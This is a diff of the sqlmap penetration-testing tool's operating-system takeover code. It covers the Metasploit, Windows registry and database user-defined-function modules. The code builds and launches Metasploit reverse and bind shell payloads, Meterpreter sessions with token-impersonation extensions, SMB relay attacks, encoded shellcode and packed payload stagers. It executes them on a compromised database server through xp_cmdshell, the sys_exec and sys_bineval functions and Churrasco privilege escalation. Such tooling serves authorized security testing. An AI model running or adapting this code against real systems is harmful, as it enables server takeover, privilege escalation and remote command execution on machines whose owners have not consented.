warnMsg = "it is unlikely that the VNC injection will be "
|
||||
warnMsg += "successful because often Microsoft SQL Server "
|
||||
warnMsg += "successful because usually Microsoft SQL Server "
|
||||
warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
|
||||
warnMsg += "or the Administrator is not logged in"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if choose == True:
|
||||
if choose:
|
||||
message = "what do you want to do?\n"
|
||||
message += "[1] Give it a try anyway\n"
|
||||
message += "[2] Fall back to reflective Meterpreter payload (default)\n"
|
||||
message += "[2] Fall back to Meterpreter payload (default)\n"
|
||||
message += "[3] Fall back to Shell payload"
|
||||
|
||||
while True:
|
||||
@@ -254,7 +248,7 @@ class Metasploit:
|
||||
|
||||
break
|
||||
|
||||
elif askChurrasco == False:
|
||||
elif not askChurrasco:
|
||||
logger.warn("beware that the VNC injection might not work")
|
||||
|
||||
break
|
||||
@@ -262,7 +256,7 @@ class Metasploit:
|
||||
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
uploaded = self.uploadChurrasco()
|
||||
|
||||
if uploaded == False:
|
||||
if not uploaded:
|
||||
warnMsg = "beware that the VNC injection "
|
||||
warnMsg += "might not work"
|
||||
logger.warn(warnMsg)
|
||||
@@ -277,13 +271,11 @@ class Metasploit:
|
||||
|
||||
return __payloadStr
|
||||
|
||||
|
||||
def __selectPort(self):
|
||||
for connType, connStr in self.__portData.items():
|
||||
if self.connectionStr.startswith(connType):
|
||||
return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
|
||||
|
||||
|
||||
def __selectRhost(self):
|
||||
if self.connectionStr.startswith("bind"):
|
||||
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
|
||||
@@ -300,9 +292,8 @@ class Metasploit:
|
||||
else:
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
|
||||
def __selectLhost(self):
|
||||
if self.connectionStr.startswith("reverse") or self.resourceFile != None:
|
||||
if self.connectionStr.startswith("reverse") or self.resourceFile is not None:
|
||||
message = "which is the local address? [%s] " % self.localIP
|
||||
address = readInput(message, default=self.localIP)
|
||||
|
||||
@@ -317,11 +308,9 @@ class Metasploit:
|
||||
else:
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
|
||||
def __selectConnection(self):
|
||||
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
|
||||
|
||||
|
||||
def __prepareIngredients(self, encode=True, askChurrasco=True):
|
||||
self.connectionStr = self.__selectConnection()
|
||||
self.lhostStr = self.__selectLhost()
|
||||
@@ -330,10 +319,13 @@ class Metasploit:
|
||||
self.payloadStr = self.__selectPayload(askChurrasco)
|
||||
self.encoderStr = self.__selectEncoder(encode)
|
||||
|
||||
if self.payloadStr == "linux/x86/shell":
|
||||
self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
|
||||
else:
|
||||
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
|
||||
|
||||
def __forgeMsfCliCmd(self, exitfunc="process"):
|
||||
self.__cliCmd = "%s multi/handler PAYLOAD=" % self.__msfCli
|
||||
self.__cliCmd += "%s/%s" % (self.payloadStr, self.connectionStr)
|
||||
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
|
||||
self.__cliCmd += " EXITFUNC=%s" % exitfunc
|
||||
self.__cliCmd += " LPORT=%s" % self.portStr
|
||||
|
||||
@@ -351,20 +343,18 @@ class Metasploit:
|
||||
|
||||
self.__cliCmd += " E"
|
||||
|
||||
|
||||
def __forgeMsfConsoleCmd(self):
|
||||
self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
|
||||
|
||||
|
||||
def __forgeMsfConsoleResource(self):
|
||||
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
|
||||
self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
|
||||
|
||||
self.__prepareIngredients(encode=False, askChurrasco=False)
|
||||
|
||||
self.__resource = "use windows/smb/smb_relay\n"
|
||||
self.__resource += "set SRVHOST %s\n" % self.lhostStr
|
||||
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
||||
self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr)
|
||||
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
|
||||
self.__resource += "set LPORT %s\n" % self.portStr
|
||||
|
||||
if self.connectionStr.startswith("bind"):
|
||||
@@ -382,10 +372,8 @@ class Metasploit:
|
||||
self.resourceFp.write(self.__resource)
|
||||
self.resourceFp.close()
|
||||
|
||||
|
||||
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
|
||||
self.__payloadCmd = self.__msfPayload
|
||||
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
|
||||
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
|
||||
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
||||
self.__payloadCmd += " LPORT=%s" % self.portStr
|
||||
|
||||
@@ -395,23 +383,14 @@ class Metasploit:
|
||||
elif not self.connectionStr.startswith("bind"):
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
if kb.os == "Windows":
|
||||
if kb.os == "Windows" or extra == "BufferRegister=EAX":
|
||||
self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
|
||||
|
||||
if extra is not None:
|
||||
self.__payloadCmd += " %s" % extra
|
||||
|
||||
# NOTE: payload stager for Linux can only be encoded if the
|
||||
# Metasploit working copy has been updated after May 11, 2009
|
||||
# (http://trac.metasploit.com/changeset/6543)
|
||||
#
|
||||
# TODO: remember to update this code as soon as Metasploit
|
||||
# Framework 3.3 is out officially and update the user's manual to
|
||||
# notify that sqlmap depends upon Metasploit Framework 3.3
|
||||
else:
|
||||
self.__payloadCmd += " X > %s" % outFile
|
||||
|
||||
|
||||
def __runMsfCli(self, exitfunc):
|
||||
self.__forgeMsfCliCmd(exitfunc)
|
||||
|
||||
@@ -422,7 +401,6 @@ class Metasploit:
|
||||
logger.debug("executing local command: %s" % self.__cliCmd)
|
||||
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||
|
||||
|
||||
def __runMsfConsole(self):
|
||||
infoMsg = "running Metasploit Framework 3 console locally, wait.."
|
||||
logger.info(infoMsg)
|
||||
@@ -430,6 +408,12 @@ class Metasploit:
|
||||
logger.debug("executing local command: %s" % self.__consoleCmd)
|
||||
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||
|
||||
def __runMsfShellcodeRemote(self):
|
||||
infoMsg = "running Metasploit Framework 3 shellcode "
|
||||
infoMsg += "remotely via UDF 'sys_bineval', wait.."
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
|
||||
|
||||
def __runMsfPayloadRemote(self):
|
||||
infoMsg = "running Metasploit Framework 3 payload stager "
|
||||
@@ -441,44 +425,39 @@ class Metasploit:
|
||||
|
||||
cmd = "%s &" % self.exeFilePathRemote
|
||||
|
||||
if self.cmdFromChurrasco == True:
|
||||
if self.cmdFromChurrasco:
|
||||
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
cmd = self.xpCmdshellForgeCmd(cmd)
|
||||
|
||||
# NOTE: calling the Metasploit payload from a system() function in
|
||||
# C on Windows (check on Linux the behaviour) for some reason
|
||||
# hangs it and the HTTP response goes into timeout, this does not
|
||||
# happen when running the it from Windows cmd.
|
||||
# Investigate and fix if possible
|
||||
self.execCmd(cmd, silent=True)
|
||||
|
||||
|
||||
def __loadMetExtensions(self, proc, metSess):
|
||||
if kb.os != "Windows":
|
||||
return
|
||||
|
||||
if self.resourceFile != None:
|
||||
if self.resourceFile is not None:
|
||||
proc.stdin.write("sessions -l\n")
|
||||
proc.stdin.write("sessions -i %s\n" % metSess)
|
||||
|
||||
proc.stdin.write("use priv\n")
|
||||
proc.stdin.write("getuid\n")
|
||||
|
||||
if conf.privEsc == True:
|
||||
proc.stdin.write("use espia\n")
|
||||
proc.stdin.write("use incognito\n")
|
||||
proc.stdin.write("use priv\n")
|
||||
proc.stdin.write("use sniffer\n")
|
||||
|
||||
if conf.privEsc:
|
||||
print
|
||||
|
||||
infoMsg = "loading Meterpreter 'incognito' extension and "
|
||||
infoMsg += "displaying the list of Access Tokens availables. "
|
||||
infoMsg = "displaying the list of Access Tokens availables. "
|
||||
infoMsg += "Choose which user you want to impersonate by "
|
||||
infoMsg += "using incognito's command 'impersonate_token'"
|
||||
logger.info(infoMsg)
|
||||
|
||||
proc.stdin.write("use incognito\n")
|
||||
proc.stdin.write("getuid\n")
|
||||
proc.stdin.write("list_tokens -u\n")
|
||||
|
||||
|
||||
def __controlMsfCmd(self, proc, func):
|
||||
stdin_fd = sys.stdin.fileno()
|
||||
setNonBlocking(stdin_fd)
|
||||
@@ -520,6 +499,12 @@ class Metasploit:
|
||||
if pwnBofCond or smbRelayCond:
|
||||
func()
|
||||
|
||||
if "Starting the payload handler" in out and "shell" in self.payloadStr:
|
||||
if kb.os == "Windows":
|
||||
proc.stdin.write("whoami\n")
|
||||
else:
|
||||
proc.stdin.write("uname -a ; id\n")
|
||||
|
||||
metSess = re.search("Meterpreter session ([\d]+) opened", out)
|
||||
|
||||
if metSess:
|
||||
@@ -530,19 +515,16 @@ class Metasploit:
|
||||
|
||||
return returncode
|
||||
|
||||
|
||||
def createMsfShellcode(self):
|
||||
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
||||
infoMsg += "for the exploit"
|
||||
def createMsfShellcode(self, exitfunc, format, extra, encode):
|
||||
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
||||
self.shellcodeChar = ""
|
||||
self.__shellcodeFilePath = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
|
||||
|
||||
self.__initVars()
|
||||
self.__prepareIngredients(askChurrasco=False)
|
||||
self.__forgeMsfPayloadCmd("seh", "raw", self.__shellcodeFilePath, "-b \"\\x00\\x27\"")
|
||||
self.__prepareIngredients(encode=encode, askChurrasco=False)
|
||||
self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)
|
||||
|
||||
logger.debug("executing local command: %s" % self.__payloadCmd)
|
||||
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
||||
@@ -551,34 +533,31 @@ class Metasploit:
|
||||
pollProcess(process)
|
||||
payloadStderr = process.communicate()[1]
|
||||
|
||||
if kb.os == "Windows":
|
||||
if kb.os == "Windows" or extra == "BufferRegister=EAX":
|
||||
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
|
||||
else:
|
||||
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||
|
||||
if payloadSize:
|
||||
payloadSize = payloadSize.group(1)
|
||||
payloadSize = int(payloadSize.group(1))
|
||||
|
||||
debugMsg = "the shellcode size is %s bytes" % payloadSize
|
||||
if extra == "BufferRegister=EAX":
|
||||
payloadSize = payloadSize / 2
|
||||
|
||||
debugMsg = "the shellcode size is %d bytes" % payloadSize
|
||||
logger.debug(debugMsg)
|
||||
else:
|
||||
errMsg = "failed to create the shellcode (%s)" % payloadStderr
|
||||
errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "")
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
|
||||
self.__shellcodeString = self.__shellcodeFP.read()
|
||||
self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
|
||||
self.shellcodeString = self.__shellcodeFP.read()
|
||||
self.__shellcodeFP.close()
|
||||
|
||||
os.unlink(self.__shellcodeFilePath)
|
||||
|
||||
hexStr = binascii.hexlify(self.__shellcodeString)
|
||||
|
||||
for hexPair in range(0, len(hexStr), 2):
|
||||
self.shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
|
||||
|
||||
|
||||
def createMsfPayloadStager(self, initialize=True):
|
||||
if initialize == True:
|
||||
if initialize:
|
||||
infoMsg = ""
|
||||
else:
|
||||
infoMsg = "re"
|
||||
@@ -590,16 +569,26 @@ class Metasploit:
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
|
||||
if kb.os == "Windows":
|
||||
self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr)
|
||||
self.__fileFormat = "exe"
|
||||
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s.exe" % self.__randStr)
|
||||
|
||||
# Metasploit developers added support for the old exe format
|
||||
# to msfencode using '-t exe-small' (>= 3.3.3-dev),
|
||||
# http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840
|
||||
# This is useful for sqlmap because on PostgreSQL it is not
|
||||
# possible to write files bigger than 8192 bytes abusing the
|
||||
# lo_export() feature implemented in sqlmap.
|
||||
if kb.dbms == "PostgreSQL":
|
||||
self.__fileFormat = "exe-small"
|
||||
else:
|
||||
self.__fileFormat = "exe"
|
||||
else:
|
||||
self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
||||
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
|
||||
self.__fileFormat = "elf"
|
||||
|
||||
if initialize == True:
|
||||
if initialize:
|
||||
self.__initVars()
|
||||
|
||||
if self.payloadStr == None:
|
||||
if self.payloadStr is None:
|
||||
self.__prepareIngredients()
|
||||
|
||||
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
|
||||
@@ -612,7 +601,7 @@ class Metasploit:
|
||||
payloadStderr = process.communicate()[1]
|
||||
|
||||
if kb.os == "Windows":
|
||||
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
|
||||
payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I)
|
||||
else:
|
||||
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||
|
||||
@@ -621,10 +610,18 @@ class Metasploit:
|
||||
if payloadSize:
|
||||
payloadSize = payloadSize.group(1)
|
||||
exeSize = os.path.getsize(self.exeFilePathLocal)
|
||||
packedSize = upx.pack(self.exeFilePathLocal)
|
||||
|
||||
# Only pack the payload stager if the back-end DBMS is not
|
||||
# PostgreSQL because for this DBMS, sqlmap uses the
|
||||
# Metasploit's old exe format
|
||||
if self.__fileFormat != "exe-small":
|
||||
packedSize = upx.pack(self.exeFilePathLocal)
|
||||
else:
|
||||
packedSize = None
|
||||
|
||||
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
|
||||
|
||||
if packedSize and packedSize != exeSize:
|
||||
if packedSize and packedSize < exeSize:
|
||||
debugMsg += "as a compressed portable executable its size "
|
||||
debugMsg += "is %d bytes, decompressed it " % packedSize
|
||||
debugMsg += "was %s bytes large" % exeSize
|
||||
@@ -637,7 +634,6 @@ class Metasploit:
|
||||
errMsg = "failed to create the payload stager (%s)" % payloadStderr
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
|
||||
def uploadMsfPayloadStager(self):
|
||||
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
|
||||
|
||||
@@ -646,17 +642,25 @@ class Metasploit:
|
||||
|
||||
os.unlink(self.exeFilePathLocal)
|
||||
|
||||
def pwn(self, goUdf=False):
|
||||
if goUdf:
|
||||
exitfunc = "thread"
|
||||
func = self.__runMsfShellcodeRemote
|
||||
else:
|
||||
exitfunc = "process"
|
||||
func = self.__runMsfPayloadRemote
|
||||
|
||||
def pwn(self):
|
||||
self.__runMsfCli(exitfunc="process")
|
||||
self.__runMsfCli(exitfunc=exitfunc)
|
||||
|
||||
if self.connectionStr.startswith("bind"):
|
||||
self.__runMsfPayloadRemote()
|
||||
func()
|
||||
|
||||
debugMsg = "Metasploit Framework 3 command line interface exited "
|
||||
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.__runMsfPayloadRemote)
|
||||
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if not goUdf:
|
||||
self.delRemoteFile(self.exeFilePathRemote, doubleslash=True)
|
||||
|
||||
def smb(self):
|
||||
self.__initVars()
|
||||
@@ -678,7 +682,6 @@ class Metasploit:
|
||||
|
||||
os.unlink(self.resourceFile)
|
||||
|
||||
|
||||
def bof(self):
|
||||
self.__runMsfCli(exitfunc="seh")
|
||||
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
|
||||
from lib.core.common import randomStr
|
||||
@@ -31,26 +29,25 @@ from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
|
||||
|
||||
class Registry:
|
||||
"""
|
||||
This class defines methods to read and write Windows registry keys
|
||||
"""
|
||||
|
||||
def __initVars(self, regKey, regName, regType=None, regValue=None, parse=False):
|
||||
def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
|
||||
self.__regKey = regKey
|
||||
self.__regName = regName
|
||||
self.__regType = regType
|
||||
self.__regValue = regValue
|
||||
self.__regType = regType
|
||||
self.__regData = regData
|
||||
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
|
||||
self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr)
|
||||
self.__batPathLocal = os.path.join(conf.outputPath, "sqlmapreg%s%s.bat" % (self.__operation, self.__randStr))
|
||||
|
||||
if parse == True:
|
||||
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
||||
if parse:
|
||||
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
||||
else:
|
||||
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\""
|
||||
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
|
||||
|
||||
self.__batRead = (
|
||||
"@ECHO OFF\r\n",
|
||||
@@ -59,24 +56,14 @@ class Registry:
|
||||
|
||||
self.__batAdd = (
|
||||
"@ECHO OFF\r\n",
|
||||
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regName, self.__regType, self.__regValue)
|
||||
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData)
|
||||
)
|
||||
|
||||
self.__batDel = (
|
||||
"@ECHO OFF\r\n",
|
||||
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regName)
|
||||
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
|
||||
)
|
||||
|
||||
|
||||
def __execBatPathRemote(self):
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
cmd = self.xpCmdshellForgeCmd(self.__batPathRemote)
|
||||
else:
|
||||
cmd = self.__batPathRemote
|
||||
|
||||
self.execCmd(cmd)
|
||||
|
||||
|
||||
def __createLocalBatchFile(self):
|
||||
self.__batPathFp = open(self.__batPathLocal, "w")
|
||||
|
||||
@@ -92,7 +79,6 @@ class Registry:
|
||||
|
||||
self.__batPathFp.close()
|
||||
|
||||
|
||||
def __createRemoteBatchFile(self):
|
||||
logger.debug("creating batch file '%s'" % self.__batPathRemote)
|
||||
|
||||
@@ -101,39 +87,47 @@ class Registry:
|
||||
|
||||
os.unlink(self.__batPathLocal)
|
||||
|
||||
|
||||
def readRegKey(self, regKey, regName, parse):
|
||||
def readRegKey(self, regKey, regValue, parse=False):
|
||||
self.__operation = "read"
|
||||
|
||||
self.__initVars(regKey, regName, parse=parse)
|
||||
self.__initVars(regKey, regValue, parse=parse)
|
||||
self.__createRemoteBatchFile()
|
||||
|
||||
logger.debug("reading registry key '%s' name '%s'" % (regKey, regName))
|
||||
logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue))
|
||||
|
||||
return self.evalCmd(self.__batPathRemote)
|
||||
if not parse:
|
||||
first = len(regKey) + 6
|
||||
else:
|
||||
first = None
|
||||
|
||||
data = self.evalCmd(self.__batPathRemote, first)
|
||||
|
||||
def addRegKey(self, regKey, regName, regType, regValue):
|
||||
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
||||
|
||||
return data
|
||||
|
||||
def addRegKey(self, regKey, regValue, regType, regData):
|
||||
self.__operation = "add"
|
||||
|
||||
self.__initVars(regKey, regName, regType, regValue)
|
||||
self.__initVars(regKey, regValue, regType, regData)
|
||||
self.__createRemoteBatchFile()
|
||||
|
||||
debugMsg = "adding registry key name '%s' " % self.__regName
|
||||
debugMsg = "adding registry key value '%s' " % self.__regValue
|
||||
debugMsg += "to registry key '%s'" % self.__regKey
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.__execBatPathRemote()
|
||||
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
||||
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
||||
|
||||
|
||||
def delRegKey(self, regKey, regName):
|
||||
def delRegKey(self, regKey, regValue):
|
||||
self.__operation = "delete"
|
||||
|
||||
self.__initVars(regKey, regName)
|
||||
self.__initVars(regKey, regValue)
|
||||
self.__createRemoteBatchFile()
|
||||
|
||||
debugMsg = "deleting registry key name '%s' " % self.__regName
|
||||
debugMsg = "deleting registry key value '%s' " % self.__regValue
|
||||
debugMsg += "from registry key '%s'" % self.__regKey
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.__execBatPathRemote()
|
||||
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
||||
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
||||
|
||||
@@ -22,11 +22,21 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
import os
|
||||
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.request import inject
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
class UDF:
|
||||
@@ -37,20 +47,65 @@ class UDF:
|
||||
|
||||
def __init__(self):
|
||||
self.createdUdf = set()
|
||||
self.udfs = {}
|
||||
self.udfToCreate = set()
|
||||
|
||||
def __askOverwriteUdf(self, udf):
|
||||
message = "UDF '%s' already exists, do you " % udf
|
||||
message += "want to overwrite it? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
def udfExecCmd(self, cmd, silent=False):
|
||||
if output and output[0] in ("y", "Y"):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def __checkExistUdf(self, udf):
|
||||
logger.info("checking if UDF '%s' already exist" % udf)
|
||||
|
||||
query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||
|
||||
if exists == "1":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def udfCheckAndOverwrite(self, udf):
|
||||
exists = self.__checkExistUdf(udf)
|
||||
overwrite = True
|
||||
|
||||
if exists:
|
||||
overwrite = self.__askOverwriteUdf(udf)
|
||||
|
||||
if overwrite:
|
||||
self.udfToCreate.add(udf)
|
||||
|
||||
def udfCreateSupportTbl(self, dataType):
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
|
||||
|
||||
def udfExecCmd(self, cmd, silent=False, udfName=None):
|
||||
cmd = urlencode(cmd, convall=True)
|
||||
|
||||
inject.goStacked("SELECT sys_exec('%s')" % cmd, silent)
|
||||
if udfName is None:
|
||||
cmd = "'%s'" % cmd
|
||||
udfName = "sys_exec"
|
||||
|
||||
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
|
||||
|
||||
def udfEvalCmd(self, cmd):
|
||||
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
|
||||
cmd = urlencode(cmd, convall=True)
|
||||
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (sys_eval('%s'))" % (self.cmdTblName, self.tblField, cmd))
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False)
|
||||
if udfName is None:
|
||||
cmd = "'%s'" % cmd
|
||||
udfName = "sys_eval"
|
||||
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
|
||||
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
||||
|
||||
if isinstance(output, (list, tuple)):
|
||||
@@ -61,7 +116,254 @@ class UDF:
|
||||
|
||||
return output
|
||||
|
||||
def udfCreateFromSharedLib(self):
|
||||
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def udfInit(self):
|
||||
errMsg = "udfInit() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
def udfSetRemotePath(self):
|
||||
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def udfInjectCmd(self):
|
||||
errMsg = "udfInjectCmd() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def udfInjectCore(self, udfDict):
|
||||
for udf in udfDict.keys():
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
self.udfCheckAndOverwrite(udf)
|
||||
|
||||
if len(self.udfToCreate) > 0:
|
||||
self.udfSetRemotePath()
|
||||
self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", False)
|
||||
|
||||
for udf, inpRet in udfDict.items():
|
||||
if udf in self.udfToCreate and udf not in self.createdUdf:
|
||||
self.udfCreateFromSharedLib(udf, inpRet)
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
supportTblType = "longtext"
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
supportTblType = "text"
|
||||
|
||||
self.udfCreateSupportTbl(supportTblType)
|
||||
|
||||
def udfInjectCustom(self):
|
||||
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
|
||||
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
|
||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
stackedTest()
|
||||
|
||||
if not kb.stackedTest:
|
||||
return
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
||||
if self.isDba() == False:
|
||||
warnMsg = "the functionality requested might not work because "
|
||||
warnMsg += "the session user is not a database administrator"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not conf.shLib:
|
||||
msg = "which is the local path of the shared library? "
|
||||
|
||||
while True:
|
||||
self.udfLocalFile = readInput(msg)
|
||||
|
||||
if self.udfLocalFile:
|
||||
break
|
||||
else:
|
||||
logger.warn("you need to specify the local path of the shared library")
|
||||
else:
|
||||
self.udfLocalFile = conf.shLib
|
||||
|
||||
if not os.path.exists(self.udfLocalFile):
|
||||
errMsg = "the specified shared library file does not exist"
|
||||
raise sqlmapFilePathException(errMsg)
|
||||
|
||||
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
|
||||
errMsg = "shared library file must end with '.dll' or '.so'"
|
||||
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||
|
||||
elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
|
||||
errMsg = "you provided a shared object as shared library, but "
|
||||
errMsg += "the database underlying operating system is Windows"
|
||||
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||
|
||||
elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
|
||||
errMsg = "you provided a dynamic-link library as shared library, "
|
||||
errMsg += "but the database underlying operating system is Linux"
|
||||
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||
|
||||
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
|
||||
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
|
||||
|
||||
msg = "how many user-defined functions do you want to create "
|
||||
msg += "from the shared library? "
|
||||
|
||||
while True:
|
||||
udfCount = readInput(msg, default=1)
|
||||
|
||||
